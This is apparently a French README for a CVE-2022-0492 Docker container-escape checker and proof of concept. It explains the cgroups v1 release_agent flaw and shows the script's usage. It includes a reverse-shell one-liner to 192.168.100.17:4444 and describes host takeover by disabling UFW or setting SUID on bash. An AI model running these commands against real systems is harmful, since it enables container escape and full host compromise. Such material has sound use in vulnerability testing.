
Vérificateur d'évasion Docker et PoC via CAP_SYS_ADMIN et via les espaces de noms utilisateur (CVE-2022-0492)
L'exploitation de la vulnérabilité nécessite que l'attaquant ait accès à un conteneur Docker fonctionnant sur un système vulnérable. Une fois exploitée, l'attaquant peut s'échapper du conteneur et obtenir un contrôle total sur le système hôte.
Une vulnérabilité a été découverte dans la fonction cgroup_release_agent_write du noyau Linux, située dans kernel/cgroup/cgroup-v1.c. Cette faille, dans certaines circonstances, permet d'utiliser la fonctionnalité release_agent des cgroups v1 pour élever les privilèges et contourner l'isolation des espaces de noms de manière inattendue.
Plus simplement, les cgroups v1 disposent d'une fonctionnalité appelée release_agent qui exécute un programme lorsqu'un processus du cgroup se termine. Si notify_on_release est activé, le noyau exécute le binaire release_agent en tant que root. En modifiant le fichier release_agent, un attaquant peut exécuter son propre binaire avec des privilèges élevés et prendre le contrôle du système. Cependant, le fichier release_agent appartient à root, seul un utilisateur disposant d'un accès root peut donc le modifier.
# sh CVE-2022-0492.sh
[>] CVE-2022-0492 Docker Container Escape V
[>] Execute this script in a Docker to check for vulnerability or to exploit it. (º___\/{
[>] Usage:
sh CVE-2022-0492.sh --checker Verify if system is vulnerable.
sh CVE-2022-0492.sh -c|--command <COMMAND> Execute command on host machine.
sh CVE-2022-0492.sh -h|--help Print the help panel.
[>] Example:
sh CVE-2022-0492.sh --command 'bash -c "bash -i >& /dev/tcp/192.168.100.17/4444 0>&1"'
Utilisateur root de la machine hôte compromis en désactivant UFW, puis en envoyant un reverse shell.

Utilisateur root de la machine hôte compromis en définissant le SUID sur bash, avec envoi d'un reverse shell également.
